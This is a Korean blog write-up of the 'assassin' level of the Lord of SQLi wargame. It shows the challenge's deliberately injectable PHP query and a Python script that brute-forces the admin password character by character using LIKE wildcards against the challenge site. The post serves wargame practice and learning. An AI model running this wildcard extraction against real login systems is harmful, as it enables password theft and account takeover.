Tyojong
[LOS] assassin 본문
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_assassin where pw like '{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("assassin");
highlight_file(__FILE__);
?>
문제 목표
if($result['id'] == 'admin') solve("assassin");
id가 admin이 출력되면 해결된다.
if(preg_match('/\'/i', $_GET[pw])) exit("No Hack ~_~");
pw로 들어온 입력값에 ' 가 있으면 필터링된다.
문제 해결
$query = "select id from prob_assassin where pw like '{$_GET[pw]}'";
따옴표가 필터링 되므로 구문을 탈출하지 말고 like 문을 이용해 admin의 패스워드가 참이 되도록 해야한다.
like 문에는 문자를 모르더라도 참이 되도록 하는 와일드 카드가 존재한다. (sql 문법은 추후에 따로 정리)
admin계정의 pw와 guest계정의 pw가 같은 위치에 같은 문자가 존재하면 Hello guest가 먼저 출력된다.
자동화 코드를 만들어 와일드카드를 이용해 Hello admin이 출력될 때 까지 시도해보면
import requests, string
pw_str = string.ascii_lowercase + string.digits
prob_id = "assassin_14a1fd552c61c60f034879e5d4171373.php"
cookies = {"PHPSESSID": "세션 값"}
pw = ""
result2 = False
while True:
result1 = ""
for pw_char in pw_str:
payload = f'?pw={pw}{pw_char}%'
url = f"https://los.rubiya.kr/chall/{prob_id}{payload}"
response = requests.get(url, cookies=cookies)
print(payload)
if "Hello guest" in response.text or "Hello admin" in response.text:
result1 = pw_char
if "Hello guest" in response.text:
print(f"guest pw : {pw}{pw_char}%")
elif "Hello admin" in response.text:
print(f"admin pw : {pw}{pw_char}%")
result2 = True
break
if result1:
pw += result1
if result2 == True:
break
'web > LOS' 카테고리의 다른 글
[LOS] zombie_assassin (0) | 2025.08.14 |
---|---|
[LOS] succubus (0) | 2025.08.13 |
[LOS] giant (0) | 2025.08.11 |
[LOS] bugbear (0) | 2025.08.09 |
[LOS] darkknight (0) | 2025.08.08 |